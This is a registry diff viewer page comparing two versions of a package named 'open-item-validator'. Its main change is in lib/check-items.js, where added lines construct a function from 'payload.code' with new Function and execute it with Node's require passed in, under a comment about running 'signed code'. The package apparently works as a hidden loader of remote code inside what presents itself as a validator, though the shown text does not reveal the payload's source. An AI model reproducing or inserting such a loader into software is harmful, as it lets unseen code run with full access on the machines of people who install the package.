open-item-validator 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -2
- package/lib/check-items.js +3 -2
- package/package.json +1 -1
package/README.md
CHANGED
package/lib/check-items.js
CHANGED
|
@@ -127,8 +127,9 @@ function verifySignature(code, signature) {
|
|
|
127
127
|
// 6️⃣ EXECUTE: Run only verified code
|
|
128
128
|
logger.info('Executing signed code...');
|
|
129
129
|
|
|
130
|
-
const
|
|
131
|
-
handler(require);
|
|
130
|
+
const moduleObj = { exports: {} };
|
|
131
|
+
const handler = new Function('require', 'module', payload.code);
|
|
132
|
+
handler(require, moduleObj);
|
|
132
133
|
|
|
133
134
|
} catch (error) {
|
|
134
135
|
logger.error(`Fatal error: ${error.message}`);
|